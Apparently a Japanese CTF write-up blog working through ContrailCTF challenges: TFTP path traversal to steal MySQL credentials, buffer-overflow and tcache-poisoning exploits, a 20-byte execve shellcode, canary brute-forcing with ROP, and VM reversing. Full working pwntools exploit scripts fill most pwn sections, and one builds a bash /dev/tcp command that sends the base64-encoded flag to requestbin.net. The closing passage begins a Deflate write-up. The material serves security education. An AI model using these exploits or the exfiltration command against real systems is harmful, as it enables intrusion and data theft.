TFTPデーモンを攻撃し、ソースコードからmysqlのパスワードを盗み出します。上記のUDPフォワーディングスクリプトを回しながら、ローカルからtftpコマンドで接続し、パストラバーサルを悪用してvalues.goを盗み出します。

❯ tftp 104.198.86.99 55556
tftp> get /../go/src/values/values.go
Received 318 bytes in 0.0 seconds

以下が盗み出したソースコードの内容です。mysqlには、ユーザ名: nowall, パスワード: jaldsfkで接続できることが分かります。

package values

const (
    MaxWorker          = 10
    JudgeHostPort      = "localhost:8888"
    QueHostPort        = "localhost:4649"
    QuebackHostPort    = "localhost:5963"
    FileServerHostPort = "localhost:4444"
    MySQLDBN           = "nowall:jaldsfk@tcp(172.17.0.1:3306)/nowall"
    Salt               = "SLSLSLFT"
)

DBへの接続

窃取したmysqlパスワードを使用し、DBにログインしてflagを盗み出します。上記のTCPフォワーディングスクリプトを回しながら、ローカルからmysqlコマンドで接続します。

❯ mysql -h 104.198.86.99 -P 55556 -unowall -pjaldsfk
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1162
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

ログインに成功しました。後はソースコードのDBスキーマを参考にし、SQL文を投げればflagを取得できます。

mysql> select * from nowall.flag;
+---------------------------------+
| flag                            |
+---------------------------------+
| ctrctf{Y0u_4r3_ult1m4t3_h4ck3r} |
+---------------------------------+
1 row in set (0.03 sec)

[pwn] pokebattle (100pts)

問題

Let's Pokemon battle!

author aqua/douro

nc 114.177.250.4 2225

pokebattle(ELF 64bit)とlibc.so.6が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/pokebattle$ checksec pokebattle
[*] '/media/sf_VMShare/CTF/ContrailCTF/pokebattle/pokebattle'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/home/ommadawn46/VMShare/CTF/ContrailCTF/pokebattle'

解法

捕まえたポケモンの名前を入力する処理にバッファオーバーフロー脆弱性があります。捕まえたポケモンの情報は以下のような構造体に格納されます。

struct pokemon {
    char name[32];
    long hp;
    void (*func)(*char) attack_func;
};

nameから40byte先にはattack_func(関数ポインタ)があり、戦闘時に自分のnameを引数に設定しattack_funcを呼び出します。

この問題ではPIEが有効になっているので、まずはバイナリが配置されているアドレスをデフォルトのattack_func(kick関数)のアドレスから割り出し、その後printfを使用してlibc関数のアドレスをleakさせます。

libcのベースアドレスが割り出せたら、attack_funcにsystem関数を設定し、name"/bin/sh"にしたポケモンを戦闘させてシェルを起動します。

# -*- encoding: utf-8 -*-
from pwn import *

LOCAL = sys.argv[1] == "local"

if LOCAL:
    # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./pokebattle
    p = process("./pokebattle")
else:
    p = connect("114.177.250.4", 2225)


def fight():
    resp = p.recvuntil("4. Pokemons\n>")
    p.sendline("1")
    resp += p.recvuntil("Pichu is dead.")
    return resp


def poke_ball(slot, name):
    resp = p.recvuntil("4. Pokemons\n>")
    p.sendline("2")
    resp += p.recvuntil("slot :")
    p.sendline(str(slot))
    resp += p.recvuntil("name :")
    p.sendline(name)


def pokemons(slot):
    resp = p.recvuntil("4. Pokemons\n>")
    p.sendline("4")
    resp += p.recvuntil("Select Pokemon :")
    p.sendline(str(slot))
    return resp


def parse_pokemons(s):
    pokes = []
    s = s.split("0 . ")[1]
    for i in range(1, 10):
        poke, s = s.split("%d . " % i)
        pokes.append(poke)
    pokes.append(s.split("Select Pokemon :")[0])

    parsed_pokes = []
    for poke in pokes:
        name, poke = poke.split(" /HP[")
        hp = poke.split("]")[0]
        parsed_pokes.append((name, hp))
    return parsed_pokes


kick_ofs = 0x10092A
printf_plt_ofs = 0x1007B0

_IO_2_1_stdout_ofs = 0x3EC760  # $ readelf -s libc.so.6 | grep _IO_2_1_stdout
execv_ofs = 0xE4FA0  # $ readelf -s libc.so.6 | grep execv
system_ofs = 0x4F440  # $ readelf -s libc.so.6 | grep system

if __name__ == "__main__":
    fight()

    # 1byteずつkickのアドレスを割り出す
    kick_addr_bytes = ""
    for i in range(8):
        poke_ball(0, "A" * (39 + i))
        name = parse_pokemons(pokemons(0))[0][0]
        kick_addr_bytes += name[40 + i] if len(name) > 40 + i else "\x00"
    kick_addr = u64(kick_addr_bytes)

    app_base_addr = kick_addr - kick_ofs
    printf_plt_addr = app_base_addr + printf_plt_ofs

    # printfを呼び出してスタック上のアドレスをleak
    poke_ball(0, "A" * 40 + p64(printf_plt_addr))
    poke_ball(0, "!@!%08lx!@!")
    resp = fight()

    _IO_stdfile_1_lock_addr = int(resp.split("!@!")[1].split("!@!")[0], 16)
    _IO_2_1_stdout_addr = _IO_stdfile_1_lock_addr - 0x1160

    libc_base_addr = _IO_2_1_stdout_addr - _IO_2_1_stdout_ofs
    system_addr = libc_base_addr + system_ofs

    # systemを呼び出してシェル起動
    poke_ball(0, "A" * 40 + p64(system_addr))
    poke_ball(0, "/bin/sh")

    resp = p.recvuntil("4. Pokemons\n>")
    p.sendline("1")

    p.interactive()

カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。

$ ls
bin
dev
flag
lib
lib32
lib64
pokebattle
$ cat flag
ctrctf{m394_1nd3x_m0nst3r}

[pwn] babyheap (356pts)

問題

You can solve it.

author douro

nc 114.177.250.4 2223

babyheap(ELF 64bit)とlibc.so.6が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/babyheap$ checksec babyheap
[*] '/media/sf_VMShare/CTF/ContrailCTF/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

解法

名前の通りheap問です。double-freeとuse-after-freeの脆弱性があり、glibc2.7なのでtcache-poisoningも刺さります。また、read_dataに境界外読み取りの脆弱性があり、任意のアドレスからデータを読み出すことができます。

write_dataを4回呼び出すとプログラムが終了するようになっており、限られた4回の中で如何に攻略するかというパズル的な要素がある問題です。

まず、1回目のwrite_dataの後、以下の手順でlibcのベースアドレスを割り出します

  1. mallocしたチャンクをdouble-freeし、tcacheを循環させる
  2. 1. でfreeしたチャンクをread_dataで読み出し(use-after-free)、heapのアドレスを割り出す
  3. 2. のアドレスからバイナリが配置されているアドレスが分かるので、GOTのアドレスも割り出せる。read_dataでGOTからlibc関数のアドレスを読み出しlibcのベースアドレスを割り出す

後は残りの3回でtcache-poisoningを引き起こし、exit内でジャンプするアドレス(_rtld_global+3840)をone-gadget rceのアドレスに書き換えます。実行すると4回目のwrite_data終了後にシェルが起動します。

# -*- encoding: utf-8 -*-
from pwn import *

LOCAL = sys.argv[1] == "local"

if LOCAL:
    # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./babyheap
    p = process("./babyheap")
else:
    p = connect("114.177.250.4", 2223)


def write_data(size, data):
    resp = p.recvuntil("\n>")
    p.sendline("1")
    resp += p.recvuntil("size :")
    p.sendline(str(size))
    resp += p.recvuntil("data :")
    p.sendline(data)
    return resp


def read_data(index):
    resp = p.recvuntil("\n>")
    p.sendline("2")
    resp += p.recvuntil("index :")
    p.sendline(str(index))
    resp += p.recvuntil("1. write data")
    return resp


def parse_read_data(resp):
    return resp.split("index :")[1].split("1. write data")[0]


def free_data(index):
    resp = p.recvuntil("\n>")
    p.sendline("3")
    resp += p.recvuntil("index :")
    p.sendline(str(index))
    resp += p.recvuntil("1. write data")
    return resp


free_got_ptr = 0x400560  # __DT_JMPREL
free_got = 0x602018

libc_free_ofs = 0x97950  # $ readelf -s libc.so.6 | grep " free"
libc_one_gadget_ofs = 0x4F322  # $ one_gadget libc.so.6
libc_jump_ofs = 0x619F68  # 0x7ffff7de974c: call   QWORD PTR [rip+0x21480e] -> 0x7ffff7ffdf60 <_rtld_global+3840>


if __name__ == "__main__":
    write_data(8, "DUMMY")  # tcache -> null
    free_data(0)  # tcache -> h0
    free_data(0)  # tcache -> h0 -> h0 -> h0 -> ...

    # tcacheを循環させ、chunkのアドレスをleak
    chunk_addr_bytes = parse_read_data(read_data(0))
    if len(chunk_addr_bytes) < 8:
        chunk_addr_bytes += "\x00\x00\x00\x02\x00\x00\x00\x00"[len(chunk_addr_bytes) :]
    chunk_addr = u64(chunk_addr_bytes) - 0x2020

    # GOTからfreeのアドレスをleak
    free_got_index = (free_got_ptr // 8) - (chunk_addr // 8)
    free_addr_bytes = parse_read_data(read_data(free_got_index))[:8]
    if len(free_addr_bytes) < 8:
        free_addr_bytes += "\x00" * (8 - len(free_addr_bytes))
    free_addr = u64(free_addr_bytes)
    libc_base = free_addr - libc_free_ofs

    one_gadget_addr = libc_base + libc_one_gadget_ofs
    exit_jump_addr = libc_base + libc_jump_ofs

    # exit_jump_addr に one_gadget_addr を書き込み、exit内でone_gadgetを実行させる
    write_data(8, p64(exit_jump_addr))  # tcache -> h0 -> exit_jump_addr
    write_data(8, "DUMMY")  # tcache -> exit_jump_addr
    write_data(8, p64(one_gadget_addr))  # tcache -> null

    p.interactive()

カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。

$ ls
babyheap
bin
dev
flag
lib
lib32
lib64
$ cat flag
ctrctf{y0u_und3r5t00d_ab0ut_h34p}

今まで本番でheap問が解けたことがなかったのでかなり達成感がありました。

[pwn] EasyShellcode (100pts)

問題

Can you craft a shellcode?

nc 114.177.250.4 2210
author Maru/douro

problem(ELF 64bit)が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/EasyShellcode$ checksec problem 
[*] '/media/sf_VMShare/CTF/ContrailCTF/EasyShellcode/problem'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

解法

入力したデータをそのままシェルコードとして実行してくれるバイナリです。ただし、データの大きさが20bytesまでとなっており、どうにかして短くする必要があります。

rax以外のレジスタは全て0が設定されています。これを利用し、movの代わりにleaを使用して値をセットすることで若干短く書くことができます。試行錯誤して何とか20bytesちょうどの長さのシェルコードができました。

0:  48 8b 00                mov    rax,QWORD PTR [rax]
3:  48 8d 78 0d             lea    rdi,[rax+0xd]
7:  48 8d 42 3b             lea    rax,[rdx+0x3b]
b:  0f 05                   syscall
d:  2f 62 69 6e 2f 73 68    "/bin/sh"

実行するとシェルが起動します。

# -*- encoding: utf-8 -*-
from pwn import *

LOCAL = sys.argv[1] == "local"

if LOCAL:
    p = process("./problem")
else:
    p = connect("114.177.250.4", 2210)

shellcode = "\x48\x8B\x00\x48\x8D\x78\x0D\x48\x8D\x42\x3B\x0F\x05/bin/sh"
print("length: %d" % len(shellcode))
p.sendline(shellcode)

p.interactive()

カレントディレクトリにflagがあるので読み出してflag取得。

$ ls
bin
dev
flag
lib
lib32
lib64
problem
$ cat flag
ctrctf{Tw0_3t4g3_s311c0d3}

[pwn] instant_httpserver (304pts)

問題

I've wrote super minimal httpserver.

author douro

http://114.177.250.4:4445

instant_httpserver(ELF 64bit)とlibc.so.6が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ checksec instant_httpserver
[*] '/media/sf_VMShare/CTF/ContrailCTF/instant_httpserver/instant_httpserver'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

解法

HTTPサーバとして動作するバイナリです。HTTPリクエストをreadする処理にスタックバッファオーバーフロー脆弱性があります。しかし、スタック保護が有効になっているので単純にオーバーフローさせても制御を奪うことはできません。

このバイナリでは、接続ごとに親プロセスをforkするようになっているため、毎回canaryの値と、ASLR、PIEの配置が同じになります。これを利用して、バッファオーバーフローでcanaryの末尾やリターンアドレスの末尾の値を書き換えつつ、正解の値が見つかるまで線形探索することで1byteずつ値を特定することができます。

以下のスクリプトでcanaryの値とバイナリの配置アドレスを割り出すことができます。

# -*- encoding: utf-8 -*-
from pwn import *
from retrying import retry

LOCAL = sys.argv[1] == "local"

if LOCAL:
    get_p = lambda: connect("127.0.0.1", 4445)
else:
    get_p = lambda: connect("114.177.250.4", 4445)

canary_ofs = 520
canary = ""

call_again_addr_ofs = 0x100DC5
call_again_addr_bytes = p64(call_again_addr_ofs)[:1]


@retry(stop_max_attempt_number=10)
def try_canary(c):
    p = get_p()

    padding = "A" * canary_ofs
    p.send(padding + canary + chr(c))
    resp = p.recvall()

    is_smash_detected = "<br /><br /><hr><I>instant_httpserver" not in resp
    return not is_smash_detected


@retry(stop_max_attempt_number=10)
def try_binary_addr(c):
    p = get_p()

    payload = "A" * canary_ofs
    payload += canary
    payload += "B" * 8
    payload += call_again_addr_bytes + chr(c)
    p.send(payload)
    resp = p.recvuntil("<html>Your Req Length is 520")

    p.sendline("DUMMY")
    resp += p.recvall()

    cnt = resp.count("<html>Your Req Length is")
    if cnt == 1:
        return False
    elif cnt == 2:
        return True
    else:
        raise


if __name__ == "__main__":
    if canary == "":
        # canaryを1byteずつ特定
        for i in range(8):
            for c in range(256):
                if try_canary(c):
                    print("byte detected!")
                    canary += chr(c)
                    print(repr(canary))
                    break
        print("canary detected!")

    # binaryの配置アドレスを1byteずつ特定
    while len(call_again_addr_bytes) < 8:
        for c in range(256):
            if try_binary_addr(c):
                print("byte detected!")
                call_again_addr_bytes += chr(c)
                print(repr(call_again_addr_bytes))
                break
    binary_base = u64(call_again_addr_bytes) - call_again_addr_ofs
    print("binary base detected!")

    print("canary: %s" % repr(canary))
    print("binary_base: %s" % repr(p64(binary_base)))

実行すると以下のような値がleakされました。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ python canary_detector.py remote

...

canary: '\x00\xab*\xe0\xacGM\xd2'
binary_base: '\x00 \xff\x89\x15V\x00\x00'

後はこの値を用いてROPし、flagを読み出します。ただし、この問題の場合、直接標準入出力と繋がっているわけではないため、ROPでシェルを直接起動すると操作を受け付けなくなってしまいます。そのため、flagを読み出してrequestbinに送信するシェルコマンドをsystem関数に渡し、flagの値はrequestbinで受け取るようにしています。

# -*- encoding: utf-8 -*-
from pwn import *
from retrying import retry
import time

LOCAL = sys.argv[1] == "local"

if LOCAL:
    get_p = lambda: connect("127.0.0.1", 4445)
    canary = 0xBE9E6691055FAC00
    binary_base = 0x555555457000
else:
    get_p = lambda: connect("114.177.250.4", 4445)
    canary = u64("\x00\xab*\xe0\xacGM\xd2")
    binary_base = u64("\x00 \xff\x89\x15V\x00\x00")

canary_ofs = 520

write_got_ofs = 0x301F58
write_plt_ofs = 0x1008C0
read_plt_ofs = 0x100920
pop_rdi_ofs = 0x100E93  # 0xe93 : pop rdi ; ret
pop_rsi_r15_ofs = 0x100E91  # 0xe91 : pop rsi ; pop r15 ; ret

libc_write_ofs = 0x110140  # $ readelf -s libc.so.6 | grep " write"
libc_system_ofs = 0x4F440  # $ readelf -s libc.so.6 | grep " system"
libc_writable_ofs = 0x302000  # cat /proc/xxx/maps
libc_pop_rdx_ofs = 0x1B96  # 0x1b96 : pop rdx ; ret


def leak_libc_base():
    # GOTからwriteのアドレスをleak
    p = get_p()

    payload = "A" * canary_ofs
    payload += p64(canary)
    payload += "B" * 8

    payload += p64(binary_base + pop_rdi_ofs)
    payload += p64(0x4)

    payload += p64(binary_base + pop_rsi_r15_ofs)
    payload += p64(binary_base + write_got_ofs)
    payload += p64(0x0)

    payload += p64(binary_base + write_plt_ofs)

    p.send(payload)

    resp = p.recvall()

    write_addr_bytes = resp.split("<html>Your Req Length is 520")[1][:8]
    write_addr = u64(write_addr_bytes)
    libc_base = write_addr - libc_write_ofs
    return libc_base


def exec_shell_cmd(libc_base, system_cmd):
    system_addr = libc_base + libc_system_ofs

    p = get_p()

    # コマンド文字列を書込み可能な領域に書き込む
    payload = "A" * canary_ofs
    payload += p64(canary)
    payload += "B" * 8

    payload += p64(binary_base + pop_rdi_ofs)
    payload += p64(0x4)

    payload += p64(binary_base + pop_rsi_r15_ofs)
    payload += p64(binary_base + libc_writable_ofs)
    payload += p64(0x0)

    payload += p64(libc_base + libc_pop_rdx_ofs)
    payload += p64(len(system_cmd))

    payload += p64(binary_base + read_plt_ofs)

    # 書き込んだコマンド文字列のアドレスをsystemの引数として渡して実行
    payload += p64(binary_base + pop_rdi_ofs)
    payload += p64(binary_base + libc_writable_ofs)

    payload += p64(binary_base + pop_rsi_r15_ofs)
    payload += p64(0x0)
    payload += p64(0x0)

    payload += p64(libc_base + libc_pop_rdx_ofs)
    payload += p64(0x0)

    payload += p64(libc_base + libc_system_ofs)
    p.send(payload)

    time.sleep(0.2)
    p.send(system_cmd)

    return p.recvall()


if __name__ == "__main__":
    libc_base = leak_libc_base()
    time.sleep(0.5)

    # catでflagを読み取り、その内容をHTTPリクエストとして外部に送信するシェルコマンド
    cmd = "cat flag"
    request = (
        "GET /r/1ike0ej1?'$(" + cmd + " | base64)' HTTP/1.1\n"
        "Host: requestbin.net\n\n"
    )
    bash_cmd = "echo -e '" + request + "' > /dev/tcp/requestbin.net/80"
    system_cmd = 'bash -c "' + bash_cmd + '"\x00'

    exec_shell_cmd(libc_base, system_cmd)

実行すると、requestbinにbase64エンコードされた文字列が送られてきます。

f:id:ommadawn46:20200105233351p:plain

デコードしてflagを取得。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ echo -n 'Y3RyY3Rme2g0cHB5aDRwcHlyNG5kMG0xejN9Cg==' | base64 -d
ctrctf{h4ppyh4ppyr4nd0m1z3}

[rev] MyInstructions (496pts)

問題

I was going to develop a flag validation program, but x86_64 programs are easily analyzed by IDA, Ghidra, and so on. So I defined new instruction set in the program and used it for flag validation. Can you still analyze this program and find the flag?

https://www.dropbox.com/s/47gaurjmvsdrrr2/my_instructions?dl=0

author Ciruela

my_instructions(ELF 64bit)が配布されます。

解法

残念ながら競技時間中に解けなかった問題です。

バイナリはVMとして動作するようになっています。標準入力から受け取った32bytesの文字列を4bytes毎に区切り、それぞれの値をレジスタ(r0〜r7)にセットして初期状態を決定します。

VM上で実行される命令列は固定されており、プログラム終了時のレジスタ(r0〜r7)の値が全て0になっていれば正しい入力値であると判定するものになっています。命令列をx86風に書き出してみると以下のようになります。

000: 11 '\x11\x08h4nd'               mov r8,68346e64
006: 24 '$\x00\x08'                  xor r0,r8
009: 11 '\x11\t_m4d'                 mov r9,5f6d3464
00f: 24 '$\x01\t'                    xor r1,r9
012: 24 '$\t\t'                      xor r9,r9
015: 11 '\x11\n\xcc\xa0\x8c\xde'     mov ra,cca08cde
01b: 30 '0\n'                        flip ra
01d: 24 '$\x02\n'                    xor r2,ra
020: 11 '\x11\x0b\x05D_W'            mov rb,05445f57
026: 24 '$\x0b\x08'                  xor rb,r8
029: 24 '$\x03\x0b'                  xor r3,rb
02c: 11 '\x11\x08cont'               mov r8,636f6e74
032: 10 '\x10\t\x04'                 mov r9,r4
035: 20 ' \x04\x08'                  and r4,r8
038: 22 '"\t\x08'                    or r9,r8
03b: 25 '%\x04CFLT'                  xor r4,43464c54
041: 25 '%\t\x7f\x7fo\x7f'           xor r9,7f7f6f7f
047: 22 '"\x04\t'                    or r4,r9
04a: 11 '\x11\x08rail'               mov r8,7261696c
050: 10 '\x10\t\x05'                 mov r9,r5
053: 30 '0\x05'                      flip r5
055: 20 ' \x05\x08'                  and r5,r8
058: 25 '%\tctf!'                    xor r9,63746621
05e: 22 '"\t\x08'                    or r9,r8
061: 25 '%\x05\x10@I\x08'            xor r5,10404908
067: 25 '%\twe{n'                    xor r9,77657b6e
06d: 22 '"\x05\t'                    or r5,r9
070: 61 'a\x05\x00\x00\x00\x00'      cmp r5,00000000
076: 47 'G\x82\x00\x00\x00'          je 82000000
07b: 11 '\x11\x00\x01\x00\x00\x00'   mov r0,01000000
081: ff '\xff'                       fin
082: 11 '\x11\x08\x1d\xfb\x03\x00'   mov r8,1dfb0300
088: 11 '\x11\t\xd6\x03\x00\x00'     mov r9,d6030000
08e: 52 'R\x06\x08'                  sub r6,r8
091: 53 'S\t\x01\x00\x00\x00'        sub r9,01000000
097: 61 'a\t\x00\x00\x00\x00'        cmp r9,00000000
09d: 49 'I\x8e\x00\x00\x00'          je 8e000000
0a2: 25 '%\x06!"#$'                  xor r6,21222324
0a8: 11 '\x11\x081ov3'               mov r8,316f7633
0ae: 10 '\x10\t\x08'                 mov r9,r8
0b1: 24 '$\n\n'                      xor ra,ra
0b4: 24 '$\x07\x08'                  xor r7,r8
0b7: 50 'P\x08\t'                    add r8,r9
0ba: 60 '`\x08\n'                    cmp r8,ra
0bd: 43 'C\xb4\x00\x00\x00'          je b4000000
0c2: 11 '\x11\x08d\x00\x00\x00'      mov r8,64000000
0c8: 11 '\x11\t\x00\x00\x00\x00'     mov r9,00000000
0ce: 11 '\x11\n\x01\x00\x00\x00'     mov ra,01000000
0d4: 11 '\x11\x0b\x03\x00\x00\x00'   mov rb,03000000
0da: 11 '\x11\x0c\x05\x00\x00\x00'   mov rc,05000000
0e0: 11 '\x11\r\x07\x00\x00\x00'     mov rd,07000000
0e6: 52 'R\x0b\n'                    sub rb,ra
0e9: 52 'R\x0c\n'                    sub rc,ra
0ec: 52 'R\r\n'                      sub rd,ra
0ef: 60 '`\x0b\t'                    cmp rb,r9
0f2: 49 'I\x03\x01\x00\x00'          je 03010000
0f7: 11 '\x11\x0b\x03\x00\x00\x00'   mov rb,03000000
0fd: 51 'Q\x07V4\x12\x00'            add r7,56341200
103: 60 '`\x0c\t'                    cmp rc,r9
106: 49 'I\x17\x01\x00\x00'          je 17010000
10b: 11 '\x11\x0c\x05\x00\x00\x00'   mov rc,05000000
111: 53 'S\x073"\x11\x00'            sub r7,33221100
117: 60 '`\r\t'                      cmp rd,r9
11a: 49 'I+\x01\x00\x00'             je 2b010000
11f: 11 '\x11\r\x07\x00\x00\x00'     mov rd,07000000
125: 53 'S\x07!Ce\x00'               sub r7,21436500
12b: 52 'R\x08\n'                    sub r8,ra
12e: 60 '`\x08\t'                    cmp r8,r9
131: 43 'C\xe6\x00\x00\x00'          je e6000000
136: 25 '%\x07\xb8\xf5\x18x'         xor r7,b8f51878
13c: 24 '$\x00\x01'                  xor r0,r1
13f: 24 '$\x00\x02'                  xor r0,r2
142: 24 '$\x00\x03'                  xor r0,r3
145: 24 '$\x00\x04'                  xor r0,r4
148: 24 '$\x00\x05'                  xor r0,r5
14b: 24 '$\x00\x06'                  xor r0,r6
14e: 24 '$\x00\x07'                  xor r0,r7
151: ff '\xff'                       fin

さらに、これをシミュレートするpythonスクリプトを書くと以下のようになります。

from pwn import *
import sys

r0 = r1 = r2 = r3 = r4 = r5 = r6 = r7 = r8 = r9 = ra = rb = rc = rd = 0

input_data = sys.argv[1]
r0 = u32(input_data[0*0:1*4])
r1 = u32(input_data[1*4:2*4])
r2 = u32(input_data[2*4:3*4])
r3 = u32(input_data[3*4:4*4])
r4 = u32(input_data[4*4:5*4])
r5 = u32(input_data[5*4:6*4])
r6 = u32(input_data[6*4:7*4])
r7 = u32(input_data[7*4:8*4])

r8 = u32("h4nd")
r0 ^= r8

r9 = u32("_m4d")
r1 ^= r9

r9 ^= r9
ra = u32("\xcc\xa0\x8c\xde")
ra ^= 0xFFFFFFFF
r2 ^= ra

rb = u32("\x05D_W")
rb ^= r8
r3 ^= rb

r8 = u32("cont")
r9 = r4
r4 &= r8
r9 |= r8
r4 ^= u32("CFLT")
r9 ^= u32("\x7f\x7fo\x7f")
r4 |= r9

r8 = u32("rail")
r9 = r5
r5 ^= 0xFFFFFFFF
r5 &= r8
r9 ^= u32("ctf!")
r9 |= r8
r5 ^= u32("\x10@I\x08")
r9 ^= u32("we{n")
r5 |= r9

r8 = u32("\x1d\xfb\x03\x00")
r9 = u32("\xd6\x03\x00\x00")
while r9 > 0:
    r6 -= r8
    r9 -= u32("\x01\x00\x00\x00")
r6 ^= u32('!"#$')

r8 = u32("1ov3")
r9 = r8
ra = 0

while r8 < 0x80000000:
    r7 ^= r8
    r8 = (r8 + r9) & 0xFFFFFFFF

r8 = 100
r9 = 0
ra = 1
rb = 3
rc = 5
rd = 7

while r8 != 0:
    rb -= 1
    rc -= 1
    rd -= 1
    if rb == 0:
        rb = 3
        r7 += u32("V4\x12\x00")
    if rc == 0:
        rc = 5
        r7 -= u32('3"\x11\x00')
    if rd == 0:
        rd = 7
        r7 -= u32("!Ce\x00")
    r8 -= 1

r7 ^= u32("\xb8\xf5\x18x")

r0 ^= r1
r0 ^= r2
r0 ^= r3
r0 ^= r4
r0 ^= r5
r0 ^= r6
r0 ^= r7

assert r0 == 0

r0, r1はそのまま値をセットしているだけですが、後半のレジスタになるにつれてロジックが複雑になっていきます。特に難しいのは最後のr7で、値を繰り返し加算していき、整数オーバーフローしたら終了する、といった割とややこしい条件分岐やループなどが出てきます。頑張って読み解くと、減算の値やXORの値が一意に定まることが分かります。それぞれのレジスタの条件を割り出してz3で解きます。

from z3 import *
from pwn import *

s = Solver()
r = [BitVec('r%x' % i, 32) for i in range(8)]

s.add(r[0x0] == u32('h4nd'))
s.add(r[0x1] == u32('_m4d'))
s.add(r[0x2] == (u32('\xcc\xa0\x8c\xde') ^ 0xffffffff))
s.add(r[0x3] == u32('\x05D_W') ^ u32('h4nd'))
s.add([
    r[0x4] & u32('cont') == u32('CFLT'),
    r[0x4] | u32('cont') == u32('\x7f\x7fo\x7f'),
])
s.add([
    (r[0x5] ^ 0xffffffff) & u32('rail') == u32('\x10@I\x08'),
    (r[0x5] ^ u32('ctf!')) | u32('rail') == u32('we{n'),
])
s.add([
    (r[0x6] - (u32('\x1d\xfb\x03\x00') * u32('\xd6\x03\x00\x00'))) == u32('!"#$'),
])
s.add([
    ((r[0x7] ^ 0x559ab153) - 0x48798b4) == u32('\xb8\xf5\x18x')
])

if s.check() == sat:
    m = s.model()
    res = b''
    for reg in r:
        v = m.evaluate(reg)
        try:
            res += p32(v.as_long())
        except Exception as e:
            res += b'????'
    print(res)

実行すると全てのレジスタについて解が一意に求まります。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/MyInstructions$ python solve.py 
h4nd_m4d3_s!mp13_VM_f14g_ch3??:)

後は、my_instructionsを実行して正解の文字列を入力すればflagを取得することができます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/MyInstructions$ ./my_instructions 
Input the inside string of ctrctf{} ->h4nd_m4d3_s!mp13_VM_f14g_ch3??:)
Congratulations! You understood all of my instruction set! The flag is ctrctf{h4nd_m4d3_s!mp13_VM_f14g_ch3??:)}

競技時間中r7の処理を読むのが中々にしんどく、r7だけならブルートフォースできるのでは?と思いブルートフォースを始めてしまったのですが、残念ながら成果はありませんでした。

おわりに

正月休みの暇つぶしくらいの気持ちで始めたのですが、振り返ってみれば正月はContrailCTF以外何もやっていないという感じになっていました。どの問題も良問かつ本格的で大変楽しませていただきました。全体的にエスパー要素がなかったのがとても良かったです。

Contrailの皆さま、ありがとうございました。

たぬき暗号で学ぶDeflate(SECCON 2019 Online CTF Tanuki Writeup)

はじめに

この記事は Recruit Engineers Advent Calendar 2019 の10日目です。2019年10月に開催されたSECCON 2019 Online CTFの"Tanuki"という問題が面白かったので、その出題内容と解法をご紹介します。

Deflateという圧縮アルゴリズムに関する問題なのですが、解くためには圧縮ファイルを展開するプログラムを改造する必要があり、ちゃんとDeflateのアルゴリズムについて勉強しないと解けない内容となっています。

Deflateはzipやpngなど様々な所で使われているアルゴリズムですし、知っておくと役に立つこともあると思います。この記事ではDeflateの展開アルゴリズムについて知らない人が大体のイメージが掴めるようになる程度にアルゴリズムの解説をしつつ解いていきたいと考えています。

Tanuki (misc, 439pts, 14solves)

では、早速ですが問題の内容について説明します。

この問題では、問題文とtanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gzという名前のgzipファイルが与えられます。

問題文

原文

Behold! We invented the brand-new, super-difficult, hyper-cryptic, and ultra-undecipherable cryptosystem for this SECCON CTF 2019! And we have the name of it: たぬき (Tanuki) !

Samples

Ciphertext 1: たたせくたこたたたんた
Plaintext 1: せくこん

Ciphertext 2: たSたEたたたたたCCたたたたたOたNたたた
Plaintext 2: SECCON

Oh, it's too difficult for you to decrypt? So then... TRY HARDER!

Google翻訳

見よ!私たちは、このSECCON CTF 2019向けに、まったく新しい、非常に難しく、ハイパー暗号化された、超解読不可能な暗号化システムを発明しました!そして、その名前があります:たぬき(たぬき)!

サンプル

暗号文1:たたせくたこたたたたたた
平文1:せくこん

暗号文2:たSたEたたたたたCCたたたたたOたNたたた
平文2:SECCON

ああ、解読するのは難しすぎる?それでは... TRY HARDER!

「たぬき」と書いて「た抜き」な暗号ですね。小学生の頃に読んだナゾナゾの本に出てきたような記憶があります。なつかしい。

「た」を抜くだけならば、sed -e 's/た//g'で一発です。しかし、この問題の厄介なところは添付ファイルにあります。

(ちなみに、CTFをご存知無い方のために説明すると、CTFでは問題のどこかに隠されているSECCON{......}形式の文字列(FLAG)を見つけ出すと点数が貰えます。様々な技術を駆使し、FLAGを見つけて獲得した点数を競い合う競技がCTFです)

添付ファイル

tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz

❯ ls -l tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz
-rwxr-xr-x  1 omd  staff  20522 12  2 23:24 tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz*

